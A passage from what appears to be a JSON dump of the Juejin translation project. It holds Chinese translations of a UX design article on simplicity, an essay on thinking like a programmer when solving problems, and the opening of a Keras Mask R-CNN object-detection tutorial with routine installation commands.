Law）认为决策本身所需要耗费的时间和精力随着选择的增加而增加。所以如果你希望你的用户体验变得更加简单，那么你得让用户能够快速选择，这样的设计要尽可能的多些。去掉那些并不需要的决策、指引和用户操作。\n\n![](https://cdn-images-1.medium.com/max/4080/1*ocxCNCeaGxcjztbxa8fOTA.jpeg)\n\n### 5. 太多的选择会吓跑客户\n\n目前的心理学理论和研究认为通过个人选择会产生积极的情感和后果。这些发现导致了一个流行的观念，就是选择越多越好 — 人类的决策能力和对选择的渴望似乎是无穷无尽的。但是事实上研究证明了正好相反：\n\n果酱实验（Jam Experiment）是消费心理学中最著名的实验之一，它表明提供较少的选择更加有助于销售。至关重要的是，它表明了精确提供较少的选择可能会更加有助于你的销售。\n\n![](https://cdn-images-1.medium.com/max/4080/1*UCydCFrlZPYxUqWhv4JygQ.jpeg)\n\n这个实验表明，与那些有很多选择的客户相比，选择较少的客户购买的可能性似乎要高10倍。这一直是作为证明让选择不要过多的关键例子，因为为用户提供太多的选择实际上会抑制用户的购买欲望。\n\n![](https://cdn-images-1.medium.com/max/4080/1*cFVvbcfBmbf0JpaLgsfGtQ.jpeg)\n\n### 6. 提供多个选择的建议\n\n如果无法避免选择，请尝试限制它们。可以提供一个你个人的建议或者分享其他消费者更喜欢的内容。明确告诉用户不同选项之间有什么差别。这个方案通常应用于计算价格的页面。\n\n![](https://cdn-images-1.medium.com/max/4080/1*FSlZMbvX0fw6wVtz35gfuQ.jpeg)\n\n### 7. 吸引用户的注意力到正确的方向\n\n当你了解你的用户实现目标的过程后，那么在这个过程的每个阶段都有着与那个目标更加相关的事情。找到那些关键的领域并将用户的注意力转向它们。\n\n![](https://cdn-images-1.medium.com/max/4080/1*I0za3tgVOtgwRhhYJvpUNA.jpeg)\n\n### 8. 使用颜色和布局来表达内容的层次结构\n\n你听过多少次这句话 — “用户是不会浪费时间在阅读上”。这并不是假话，我们只会阅读那些我们需要去记忆或者实际了解的东西。如果你没有读过一个单词就接受了大量的用户条约，那你就应该明白我说的什么意思。有很多特征可以用来对交流产生影响：字体样式，大小，字距，前导，大小写和颜色。可以用它们来传递内容的层次和结构。正确的使用颜色和排版可以让你的产品反映出易于识别的品牌形象，并且更加具有吸引力和让人难忘。\n\n![](https://cdn-images-1.medium.com/max/4080/1*FmTXPGd7AVMxyfirpCsxkg.jpeg)\n\n### 9. 让系统有序组织，简单且更易管理\n\n让我们来做一个简单的测试吧。以下我们有两张图片。使用秒表来测量你计算这两张图片中的黑点数量所需的时间（和精力）。\n\n![](https://cdn-images-1.medium.com/max/4080/1*NRumh73N7gg7pk0givoXZQ.jpeg)\n\n完成了吗？结果正如你自己所看到的那样，计算无序的点阵会耗费更多的时间，并且还会给你带来更多认知上的负担。但如果方块的点数相同，为什么我们还会得到这个结果呢？\n\n将点映射到特定矩阵会帮助我们直观地浏览它们并在计数时进行分组。在无序的方块上我们不得不一个一个地数数。此外，大多数人可能都会错误的估计或者被迫用左图去检查你的答案。\n\n![](https://cdn-images-1.medium.com/max/4080/1*JZoY7mAf-3rcNywnq3XLBw.jpeg)\n\n元素的组织不仅提高了识别率，而且还使其更容易记忆。操作任何机器时，记住所有控件的位置和功能都非常重要。让我们来做另一个小练习。就在一分钟以前你刚才计算了两张图片里面的点数，现在请回想这两张图片里面所有黑点的位置。对于大多数人来说记住无序的结构几乎都是不可能的。\n\n![](https://cdn-images-1.medium.com/max/4080/1*nVBG5GJnXDCWKz_F-K-u5w.jpeg)\n\n### 10. 对相关内容分组\n\n通常，一个简化复杂页面的简单方法就是开始对组件进行分组。这样用户处理的就是少数几组而不是大量不相关的组件。在元素或者一组元素周围设置边框（创造共同区域）是将周围元素分离的一个简单方法。在格式塔心理学中有多种原则可以帮助元素构建相关性：接近性，相似性，连续性，闭合性和连通性。\n\n![](https://cdn-images-1.medium.com/max/4080/1*p1mdTyxWZLT3L7vELVSuGw.jpeg)\n\n### 11. 将大型任务拆解为小步骤，并且尝试单列布局\n\n几乎在任何产品中都存在不同形式的表格。这是你获取用户信息的方式。甚至有的时候已经移除掉所有不必要的东西之后，但表格内容依然非常庞大。用户可能非常不想完成这些表格。所以我们能做的就是把这个巨大的任务分解成一系列较小的任务。这会让人突然觉得好像会轻松很多的去完成这个任务。完成小的子任务会为用户提供一些内啡肽和满足感来继续下去。\n\n设计表单时，请使用一列布局而不是多列。单列布局更容易填写。这样，用户无需考虑接下来要填写的内容，只需径直向下移动页面即可。\n\n![](https://cdn-images-1.medium.com/max/4080/1*p_pu1I-ZpAn09sgtrqc8nA.jpeg)\n\n### 12. 对流程进展和系统状态保持透明\n\n不确定性会使我们感到焦虑，所以应当尽可能避免这种情况。这也就是为什么除非是显而易见的情况，在任何时候用户都应该能够了解到他目前在流程的什么位置，过去已经发生了什么以及他还需要去做什么。保存先前提供的信息摘要也是一个好办法，它让用户不用记忆太多东西并且也无需返回以仔细检查先前的步骤。\n\n![](https://cdn-images-1.medium.com/max/4080/1*6vVsEhwGQHIgarwU--CpNw.jpeg)\n\n### 13. 帮助用户做算术\n\n人类的大脑不擅长进行原始计算。与算术运算相比，进化的压力更有利于优化大脑识别物体的能力。所以应当尝试利用系统来代替用户进行所有计算。\n\n![](https://cdn-images-1.medium.com/max/4080/1*rfcPCcf1nDCWbmsTk04g_w.jpeg)\n\n### 14. 通过渐进式的展现来隐藏复杂\n\n渐进式的披露是用户体验设计中的一个设计模式，用来更好的将用户界面对用户进行解释。它通过跨多个屏幕对信息和操作进行排序以免使用户不知所措或隐藏无关信息，直至信息变得相关。渐进式披露遵循从“抽象到具体”的典型概念，包括用户行为或人机交互的顺序。渐进式披露的一个很好的例子是iOS嵌套导航。\n\n![](https://cdn-images-1.medium.com/max/4080/1*IzCm0KYUujM3M2JXrrA8Ng.jpeg)\n\n### 15. 基于普遍接受的模式和互动方式\n\n用户的大部分时间其实是花费在其他产品上。这就意味着用户更希望你的网站交互方式能够跟其他他们用过的网站差不多，所以这也就让他们对产品的外观和行为有着特定的期望。这种说法反应了消费者的心态，并且适用于从社交网络到冰箱的任何虚拟或现实产品。但这并不意味着你应该停止创新，但应该更谨慎的评估怎么去更改传统意义上的导航或者控制，向用户证明改变他们的心理模型是正确的。\n\n![](https://cdn-images-1.medium.com/max/4080/1*ZxMxsNcdwI3sAq5MAswpuw.jpeg)\n\n### 16. 让初次体验变得简单\n\n任何设计的主要目标都应该是尽快将用户与提供的价值产品联系起来。好好考虑下这一点吧。因此，用户和操作系统之间存在的其他东西除非是功能需要，否则都是障碍。在任何过程的首次体验都是非常重要的，如果不满意的话，人们会很快地对产品形成看法并立刻离开。\n\n在你初次尝试的时候，即使是简单的任务也很具有挑战性。在我们操作产品之前，有时需要额外的培训。在数字产品的设计中我建议不要太关注手动操作，用户期望产品应该是简单易懂的，并且只有在出现问题或者他们需要时才提供帮助。而且应该是基于上下文的情形提供帮助，而不是通过过多的学习资料给用户传授空洞的概念。\n\n![](https://cdn-images-1.medium.com/max/4080/1*zFovfmPuRSfy97sKEqFTzg.jpeg)\n\n### 17. 考虑人体工程学和使用产品的环境\n\n我们已经定义的简单就是使用产品的难易程度，这也就是基于人体工程学。人体工程学是设计或安排工作场所，产品和系统的过程，以便适合人们的操作。大多数人认为这与座椅或汽车控制装置和仪器的设计有关 — 但是不仅仅如此。人体工程学适用于涉及人的任何设计，包括数字产品。\n在 1954 年，心理学家保罗菲茨测试人体运动系统，表明移动到目标所需的时间取决于与目标的距离，并与其大小成反比。所以请保证较大的常用元素放在尽可能靠近用户的位置。\n\n![](https://cdn-images-1.medium.com/max/4080/1*54_6Zfey3wd3VKN1vIUawg.jpeg)\n\n### 18. 支持行内编辑和自动提示\n\n移除每一个过程中不必要的交互、视图和步骤。用户应该以最佳速度操作系统，这被称为“流畅”。不要用弹出窗口打破这种流程。对于以后所有支持更改的操作或值，请尽可能的支持行内编辑。当有大量可用的值时可以进行自动提示。\n\n![](https://cdn-images-1.medium.com/max/4080/1*k175kgaxJIPS9PzlbI5SKw.jpeg)\n\n### 19. 通过智能设置默认值来减少认知上的负担\n\n智能设置就是将选项的答案默认进行选择。这能帮助用户尽快的完成表单。填写表单需要用户去解析表单，编辑答案，然后将他们的结果输入到表格提供的位置上。而定义相关默认值时，设计人员需要了解用户以及他们将使用产品的上下文。只有通过深入研究和测试，才有可能理解用户并根据用户的历史数据和使用模式调整默认值。当需要明确选择时，始终将绝大多数用户（例如，90 - 95％）会选择的选项设置为默认值。\n\n![](https://cdn-images-1.medium.com/max/4080/1*dh-NbWdErhYIt4neyb1xWw.jpeg)\n\n### 20. 减少错误提示\n\n错误信息会带来很多压力，并让用户觉得他搞砸了或者没有完成任务。所以请确保自动检查输入的数据，并为异常的输入提供警报或提醒以减少错误。要么消除容易出错的情况，要么检查它们并在用户提交操作之前向用户再次进行确认。并且应该通过强制功能来保护破坏性和不可恢复的行为，以确保用户意识到他们的选择将产生的影响。\n\n![](https://cdn-images-1.medium.com/max/4080/1*fgjZ21IDG2wp9Z_0cgUBHw.jpeg)\n\n### 21. 可访问性设计\n\n作为设计师，您的目标是支持可访问性，确保你的产品能被广泛的受众使用，而没有特例。全世界有超过 10 亿人患有残疾。所以不要使用颜色作为传达信息的唯一视觉手段。还可以确保文本与其背景之间有足够的对比度，支持键盘导航等等。可访问性不仅仅针对于具有不同能力的一组用户，当你设计可访问性时，您应该改善使用该产品的每个人的体验。\n\n![](https://cdn-images-1.medium.com/max/4080/1*P93k8CP68naqhhPB4SGzPQ.jpeg)\n\n### 总结\n\n设计简单好用并且易于理解的产品并不容易，但这是我们需要做的事，并且有这些窍门能帮我们走向简单。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/how-to-think-like-a-programmer-lessons-in-problem-solving.md",
    "content": "> * 原文地址：[How to think like a programmer — lessons in problem solving](https://medium.freecodecamp.org/how-to-think-like-a-programmer-lessons-in-problem-solving-d1d8bf1de7d2)\n> * 原文作者：[Richard Reis](https://medium.freecodecamp.org/@richardreeze?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-think-like-a-programmer-lessons-in-problem-solving.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-think-like-a-programmer-lessons-in-problem-solving.md)\n> * 译者：[mingxing47](https://github.com/mingxing47)\n> * 校对者：[rockyzhengwu](https://github.com/rockyzhengwu) [Park-ma](https://github.com/Park-ma)\n\n# 如何像程序员般思考 —— 蕴含在问题解决中的经验\n\n![](https://cdn-images-1.medium.com/max/1600/1*HTRqXgr7CVtRBsyTxurQew.jpeg)\n\n原文作者 [Richard Reis](https://twitter.com/richardreeze)\n\n如果你对编程感兴趣，那么你之前可能会听说过这样的 `一句话`：\n\n> “每个人都应该学习编程，因为它会教你如何思考。” —— 史蒂夫·乔布斯\n\n你可能还想知道，像程序员一样思考到底意味着什么？同时，要**怎么样**才能做到呢？\n\n从本质上讲，像程序员般思考是**一种更加有效的解决问题的方法**。\n\n通过这篇文章，我的目的是教会你用那样的方式去思考问题。\n\n到最后，你就会更加清楚地知道，要通过哪些步骤才能成为一个更好的难题终结者。\n\n#### 这件事为什么很重要？\n\n解决问题是最根本的元技能。\n\n我们所有人都会遇到或大或小的各种各样的难题。而很多时候，我们如何去解决这些问题却显得，可以说...很随机。\n\n除非你有一套解决问题的体系，否则如下很可能就是你“解决”问题的方法（这也正是我编程之初常常走的歧途）：\n\n1.  尝试某种解决方案。\n2.  如果这种解决方案不凑效，那么换另外一个进行尝试。\n3.  如果另一种还是不凑效，那么不断重复步骤 2，直到走大运恰好碰到解决这个问题的方法。\n\n你看，某些时候可能你很走运，能够把问题解决。但这却是解决问题中最最糟糕的方法。同时，这对你的时间造成了巨大浪费。\n\n最好的方法包含了以下的两个方面：a）拥有一套解决问题的框架；b）不断**练习实践这套框架**。\n\n> “几乎所有的雇主都把解决问题的能力放在首位。\n\n> 解决问题的能力几乎是所有雇主一致追寻的最重要的品质，甚至比精通编程语言、调试和系统设计更为重要。\n\n> 证明计算思维或者说分解大型复杂问题的能力，对于一份工作来说，至少与其所需的基本技术技能一样有价值（就算不是更有价值的话）。” —— Hacker Rank （[2018 年开发者技能报告](https://research.hackerrank.com/developer-skills/2018/)）\n\n#### 拥有一套解决问题的框架\n\n为了找到正确的框架，我遵循了蒂姆·费里斯（Tim Ferriss）关于学习的书[《4 小时厨师》（the 4-Hour Che）](https://www.amazon.com/dp/0547884591/?tag=richardreeze-20) 中的建议。\n\n这个建议让我采访了两位真正令人印象深刻的人：[C. Jordan Ball](https://www.linkedin.com/in/cjordanball/)（在 [Coderbyte](https://coderbyte.com/) 65,000+ 用户中排名第一或者第二），以及 [V. Anton Spraul](http://vantonspraul.com/)（书籍 “[像程序员般思考：创造性解决难题导论](https://www.amazon.com/dp/1593274246/?tag=richardreeze-20)” 的作者）。\n\n我问了他们相同的问题，你猜猜结果如何？他们的答案基本是一致的！\n\n很快，你也会认识到这些答案。\n\n作者注：这并不意味着他们用相同的方法去做每一件事。每个人都是不同的，你和他们也是不同的。但如果你遵循了我们都认同的好的原则，以此开始，你会走得更远更快。\n\n> “我看到的新手程序员犯的最大的错误就是专注于学习编程语言语法而不是去学习如何解决问题。” —— [V. Anton Spraul](http://vantonspraul.com/)\n\n那么，遇到新问题时该怎么做呢？\n\n下面就是解决问题的一些步骤：\n\n#### 1. 理解问题\n\n准确地理解问题所问的点是什么。绝大多数的难题，仅难在你不能理解这些问题（这就是为什么要把理解问题放在第一步的原因）。\n\n如何知道你已经理解了一个问题？当你能用语言描述它的时候就真的理解了。\n\n你记忆中是否有这样一个场景，当你被困在一个问题中时，你开始解释它，然后突然之间，你发现了之前从来没有考虑过的逻辑漏洞？\n\n绝大多数的程序员都应该对这种感觉深有体会。\n\n这就是为什么你要把你的问题写下来、画个图或者告诉他人的原因（另外一件事是...有些程序员会使用[小黄鸭调试法](https://en.wikipedia.org/wiki/Rubber_duck_debugging)来解决问题）。\n\n> “如果你无法简单地解释清楚某件事，你就还没有弄懂它。” —— Richard Feynman\n\n#### 2. 做出计划\n\n在没有计划之前千万不要一头扎入问题的解决当中（除非你希望能够蒙混过关）。一定要做好计划！\n\n如果你无法写下做事情的确切步骤，那么什么都帮不了你。\n\n在编程中，这意味着不要一开始就强行暴力破解。一定要先给你大脑一些时间来分析问题和处理信息。\n\n为了获得一个好的解决问题计划，先回答一下如下问题：\n\n“在已有输入 X 的前提下，如果要得到返回值 Y，将要进行哪些必要的步骤？”\n\n作者注：程序员们有一种很棒的工具来解决这个问题...那就是注释！\n\n#### 3. 划分问题单元\n\n注意了，这是所有步骤中最最重要的。\n\n不要尝试去解决一个大的问题。这样做你肯定会哭的。\n\n相反，应该把大问题分解成多个更容易解决的子问题。\n\n然后，对这些子问题各个击破。从最简单的问题开始吧。最简单的问题意味着你知道问题的答案（或者至少更为靠近答案）。\n\n除此之外，最简单的问题还意味着这个子问题的解决并不依赖于其他问题的解决。\n\n一旦你把每一个子问题都解决了，然后就把每一个小点连接起来。\n\n串联起你的每一个**“子方案”**将会让你获得最终的原始问题的解决方案。祝贺你，你已经解决了问题！\n\n这种解决问题的技术是所有问题解决的基石。牢牢记住它（如果有必要，请再次阅读这一步）。\n\n> “如果我能教给每个新手程序员一个解决问题的技巧，那就是‘减少问题的技术’。\n\n> 例如，如果你是一个新程序员，然后你被要求去写一个程序，读取 10 个数字，然后算出哪个数字是第三大的。对于一个全新的程序员来说，这可能是一项艰巨的任务，尽管它只需要基本的编程语法。\n\n> 如果你陷入困境，你应该把问题简化。先不考虑找第三大的数，如果你去找最大的数你该如何做？还是太困难？那如果要从三个数字中找到最大的你该怎么做呢？如果从两个数字中寻找呢？\n\n> 不断简化问题直到你能写出解决方案。然后稍微把问题进行扩展，并写下相应的解决方法，不断扩展下去直到源问题被解决。” —— [V. Anton Spraul](http://vantonspraul.com/)\n\n#### 4. 陷入问题当中？\n\n现在，你可能正坐在那里想到：“嘿，Richard... 这方法很酷，但是如果我卡住了，然后连子问题都无法解决该怎么办？”\n\n首先呢，进行一下深呼吸。其次，这件事是公平的。\n\n不要担心，朋友。这种情况会在每个人身上发生！\n\n不同的是最好的程序员/问题解决者对 bugs 或错误更感兴趣而不是恼怒。\n\n事实上，当不幸面临难题时，这里有三件事可以尝试：\n\n*   调试： 一步一步检查你的解决方案，然后去试图寻找到底那里出错了。程序员们把这件事称为**调试**（事实上，这事全是调试器做的）。\n\n> “调试的艺术在于找出你真正告诉你的程序去做的事情，而不是你所认为你已经告诉了你的程序去做的事情。” —— Andrew Singer\n\n*   重新考虑： 后退一步。从另外一个角度来看待这个问题。是否有可以抽象成更一般的方法？\n\n> “有时候我们迷失在问题的细节里，而忽略了能在更一般层面上解决问题的通用方法。 […]\n\n> 当然，最经典的例子是求连续自然数和， 1 + 2 + 3 + … + n，非常年轻的高斯很快认识到答案是简单的 n(n+1)/2，这样就不用去做加法了。” —— [C. Jordan Ball](https://www.linkedin.com/in/cjordanball/)\n\n作者注：另外一种重新评估的方式是重新开始。删除所有内容，用全新的眼光重新开始。我是认真的，你会惊讶于这是多么的有效。\n\n*   搜索：啊哈，你没有读错，好好去搜索一下。无论你遇到什么样的问题，很可能已经有人解决过了。去找到那个人或者找到那种解决方法。事实上，即使你解决了问题，你也可以再去调查一下！（你可以从其他人的解决方案中学到很多的东西。）\n\n注意：不要去寻找解决一个大问题的方法。只去寻找解决子问题的方案。这是为什么呢？因为除非你努力（哪怕是一点点），否则你什么都学不到。如果你什么都没有学到，你就是在浪费时间。\n\n#### 不断实践练习这套框架\n\n不要期望仅仅一个星期之后就能变得很棒。如果你想成为一个好的问题解决者，那就多去解决一些问题吧！\n\n练习、练习、再练习。迟早你会意识到“这个问题可以通过 <在这里插入概念> 轻松解决”。\n\n如何去练习呢？这里有很多的选择！\n\n象棋谜题、数学难题、数独、围棋、大富翁、电子游戏、加密猫，等等等等。\n\n事实上，成功人士的一个普遍模式是他们有着不断练习“微观解决问题”的习惯。例如，彼得·泰尔 (Peter Thiel) 通过下棋，埃隆·马斯克 (Elon Musk) 通过玩电子游戏来进行练习一样。\n\n> “拜伦•里夫斯 (Byron Reeves) 说，‘如果你想知道未来三到五年的企业领导是什么样的，那就看看网络游戏正在发生什么吧。’”\n\n> 快进到今天。埃隆·马斯克（Elon Musk）、雷德·霍夫曼（Reid Hoffman）、马克·扎克伯格（Mark Zuckerberg）和其他许多人都表示，游戏是他们成功建立公司的基石。” —— Mary Meeker（[2017年互联网趋势报告](https://www.recode.net/2017/5/31/15693686/mary-meeker-kleiner-perkins-kpcb-slides-internet-trends-code-2017)）\n\n这是否意味着你应该只玩电子游戏？并不是这样。\n\n但是电子游戏到底是关于什么的呢？没错，就是问题解决！\n\n所以，你应该做的是找到能够练习的机会。可以是能让你解决很多小问题的东西（理想情况下，这应该是你喜欢的东西）。\n\n例如，我喜欢编程挑战。每天，我都试图解决至少一个挑战（通常在 [Coderbyte](https://coderbyte.com/) 上）。\n\n正如我所说，所有的问题都有相似的模式。\n\n#### 结论\n\n以上就是全部内容！\n\n直至目前，你已经更好地了解了“像程序员般思考”究竟意味着什么。\n\n你也知道了解决问题是一种难以置信的技能（元技能）。\n\n如果这还不够，请注意，你还知道了要练习解决问题的技巧该做些什么！\n\n**啧啧啧**... 听起来很酷，对吧？\n\n最后，祝你遇到很多问题。\n\n你没有读错，就是祝你遇到更多的问题。因为至少现在你知道怎么去解决问题了!（同时，你将会知道，每解决一个问题都会使你获得进步）。\n\n> “就在你认为你已经成功跨越了一个藩篱时，你与另外一个障碍不期而遇。但这就是生活的奇妙之处。[...]\n\n> 生活就是一个不断突破桎梏的过程 —— 这是一些我们成长必须突破的阻碍。\n\n> 每次，你都会获取新知。\n\n> 每次，你都会变得更加强壮有力，睿智深邃和洞察非凡。\n\n> 每次，都会有一些挑战被你逾越，从而消失。直到最后所留下的：是那个最好的你。” —— Ryan Holiday （[绝境逢生的艺术 (The Obstacle is the Way)](https://www.amazon.com/dp/1591846358/?tag=richardreeze-20)）\n\n从现在开始，去解决一些问题吧！\n\n祝你好运 🙂\n\n**特别鸣谢** [C. Jordan Ball](https://www.linkedin.com/in/cjordanball/) 和 [V. Anton Spraul](http://vantonspraul.com/)，他们给了我很多宝贵的建议。\n\n此外，如果没有 [Lambda School](https://lambdaschool.com/) 学校，我无法在如此短暂的时间内获得所有的编程知识。在这里我要非常感谢以及强烈推荐他们。\n\n感谢您的阅读！ 😊 如果您喜欢这篇文章，请您猛烈地把右手拍向左手，试一试您在 5 秒钟之内能够拍 👏 多少次吧。这是对您有益的手指有氧健身操，当然这也会帮助其他人看到这个故事。\n\n![](https://cdn-images-1.medium.com/max/1600/1*oMycTRCdT2euGs9WbLd7kw.jpeg)\n\n在 Twitter 上向我 [“打个招呼”](https://twitter.com/richardreeze) 吧！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-train-an-object-detection-model-with-keras.md",
    "content": "> * 原文地址：[How to Train an Object Detection Model with Keras](https://machinelearningmastery.com/how-to-train-an-object-detection-model-with-keras/)\n> * 原文作者：[Jason Brownlee](https://machinelearningmastery.com/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-train-an-object-detection-model-with-keras.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-train-an-object-detection-model-with-keras.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[Ultrasteve](https://github.com/Ultrasteve)，[zhmhhu](https://github.com/zhmhhu)\n\n# 如何使用 Keras 训练目标检测模型\n\n目标检测是一项很有挑战性的计算机视觉类课题，它包括预测目标在图像中的位置以及确认检测到的目标是何种类型的物体。\n\n基于掩膜区域的卷积神经网络模型，或者我们简称为 Mask R-CNN，是目标检测中最先进的方法之一。Matterport Mask R-CNN 项目为我们提供了可用于开发与测试 Mask R-CNN 的 Keras 模型的库，我们可用其来完成我们自己的目标检测任务。尽管它利用了那些在非常具有挑战性的目标检测任务中训练出来的最佳模型，如 MS COCO，来供我们进行迁移学习，但是对于初学者来说，使用这个库可能有些困难，并且它还需要开发者仔细准备好数据集。\n\n在这篇教程中，你将学习如何训练可以在照片中识别袋鼠的 Mask R-CNN 模型。\n\n在学完教程后，你将会知道：\n\n*   如何为训练 R-CNN 模型准备好目标检测数据集。\n*   如何使用迁移学习在新的数据集上训练目标检测模型。\n*   如何在测试数据集上评估 Mask R-CNN，以及如何在新的照片上作出预测。\n\n如果你还想知道如何建立图像分类、目标检测、人脸识别的模型等等，可以看看[我的关于计算机视觉的新书](https://machinelearningmastery.com/deep-learning-for-computer-vision/)，书中包括了 30 篇讲解细致的教程和所有源代码。\n\n现在我们开始吧。\n\n![How to Train an Object Detection Model to Find Kangaroos in Photographs (R-CNN with Keras)](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/05/How-to-Train-an-Object-Detection-Model-to-Find-Kangaroos-in-Photographs-R-CNN-with-Keras.jpg)\n\n如何使用 R-CNN 模型以及 Keras 训练可以在照片中识别袋鼠的目标检测模型\n照片来自 [Ronnie Robertson](https://www.flickr.com/photos/16633132@N04/16146584567/)，作者保留图像权利。\n\n## 教程目录\n\n本片教程可以分为五个部分，分别是：\n\n1.  如何为 Keras 安装 Mask R-CNN\n2.  如何为目标检测准备数据集\n3.  如何训练检测袋鼠的 Mask R-CNN 模型\n4.  如何评估 Mask R-CNN 模型\n5.  如何在新照片中检测袋鼠\n\n## 如何为 Keras 安装 Mask R-CNN\n\n目标检测是计算机视觉中的一个课题，它包括在给定图像中识别特定内容是否存在，位置信息，以及一个或多个对象所属的类别。\n\n这是一个很有挑战性的问题，涵盖了目标识别（例如，找到目标在哪里），目标定位（例如，目标所处位置的范围），以及目标分类（例如，目标是哪一类物体）这三个问题的模型构建方法。\n\n基于区域的卷积神经网络，即 R-CNN，是卷积神经网络模型家族中专为目标检测而设计的，它的开发者是 [Ross Girshick](http://www.rossgirshick.info/) 等人。这种方法大约有四个主要的升级变动，结果就是形成了目前最优的 Mask R-CNN。2018 年的文章“[Mask R-CNN](https://arxiv.org/abs/1703.06870)”提出的 Mask R-CNN 是基于区域的卷积神经网络的模型家族中最新的版本，能够同时支持目标检测与目标分割。目标分割不仅包括了目标在图像中的定位，并且包括指定图像的掩膜，以及准确指示出图像中的哪些像素属于该对象。\n\n与简单模型，甚至最先进的深度卷积神经网络模型相比，Mask R-CNN 是一个应用复杂的模型。与其要从头开始开发 R-CNN 或者 Mask R-CNN 模型应用，不如使用一个可靠的基于 Keras 深度学习框架的第三方应用。\n\n目前最好的 Mask R-CNN 的第三方应用是 [Mask R-CNN Project](https://github.com/matterport/Mask_RCNN)，其研发者为 [Matterport](https://matterport.com/)。该项目是拥有许可证的开源项目（例如 MIT license），它的代码已经被广泛的应用于各种不同的项目以及 Kaggle 竞赛中。\n\n第一步是安装该库。\n\n到本篇文章写就为止，该库并没有发行版，所以我们需要手动安装。但是好消息是安装非常简单。\n\n安装步骤包括拷贝 GitHub 仓库然后在工作区下运行安装脚本，如果你在该过程中遇到了困难，可以参见仓库 readme 文件中的[安装说明](https://github.com/matterport/Mask_RCNN#installation)。\n\n### 第一步，克隆 GitHub 上的 Mask R-CNN 仓库\n\n这一步非常简单，只需要在命令行运行下面的命令：\n\n```bash\ngit clone https://github.com/matterport/Mask_RCNN.git\n```\n\n这段代码将会在本地创建一个新的名为 _Mask_RCNN_ 的目录，目录结构如下：\n\n```\nMask_RCNN\n├── assets\n├── build\n│   ├── bdist.macosx-10.13-x86_64\n│   └── lib\n│       └── mrcnn\n├── dist\n├── images\n├── mask_rcnn.egg-info\n├── mrcnn\n└── samples\n    ├── balloon\n    ├── coco\n    ├── nucleus\n    └── shapes\n```\n\n### 第二步，安装 Mask R-CNN 库\n\n仓库可以通过 pip 命令安装。\n\n将路径切换至 _Mask_RCNN_ 然后运行安装脚本。\n\n在命令行中输入：\n\n```bash\ncd Mask_RCNN\npython setup.py install\n```\n\n在 Linux 或者 MacOS 系统上，你也许需要使用 sudo 来允许软件安装；你也许会看到如下的报错：\n\n```\nerror: can't create or remove files in install directory\n```\n\n这种情况下，使用 sudo 安装软件：\n\n```bash\nsudo python setup.py install\n```\n\n如果你在使用 Python 的虚拟环境（[virtualenv](https://virtualenv.pypa.io/en/latest/)），例如 [EC2 深度学习的 AMI 实例](https://aws.amazon.com/marketplace/pp/B077GF11NF)（推荐用于本教程），你可以使用如下命令将 Mask_RCNN 安装到你的环境中：\n\n```bash\nsudo ~/anaconda3/envs/tensorflow_p36/bin/python setup.py install\n```\n\n这样，该库就会直接开始安装，你将会看到安装成功的消息，并以下面这条结束：\n\n```\n...\nFinished processing dependencies for mask-rcnn==2.1\n```\n\n这条消息表示你已经成功安装了该库的最新 2.1 版本。\n\n### 第三步，确认库已经安装完成\n\n确认库已经正确安装永远是一个良好的习惯。\n\n你可以通过 pip 命令来请求库来确认它是否已经正确安装；例如：\n\n```bash\npip show mask-rcnn\n```\n\n你应该可以看到告知你版本号和安装地址的输出信息；例如：\n\n```\nName: mask-rcnn\nVersion: 2.1\nSummary: Mask R-CNN for object detection and instance segmentation\nHome-page: https://github.com/matterport/Mask_RCNN\nAuthor: Matterport\nAuthor-email: waleed.abdulla@gmail.com\nLicense: MIT\nLocation: ...\nRequires:\nRequired-by:\n```\n我们现在已经准备好，可以开始使用这个库了。\n\n## 如何为目标检测准备数据集\n\n接下来，我们需要为模型准备数据集。\n\n在本篇教程中，我们将会使用[袋鼠数据集](https://github.com/experiencor/kangaroo)，仓库的作者是 experiencor 即 [Huynh Ngoc 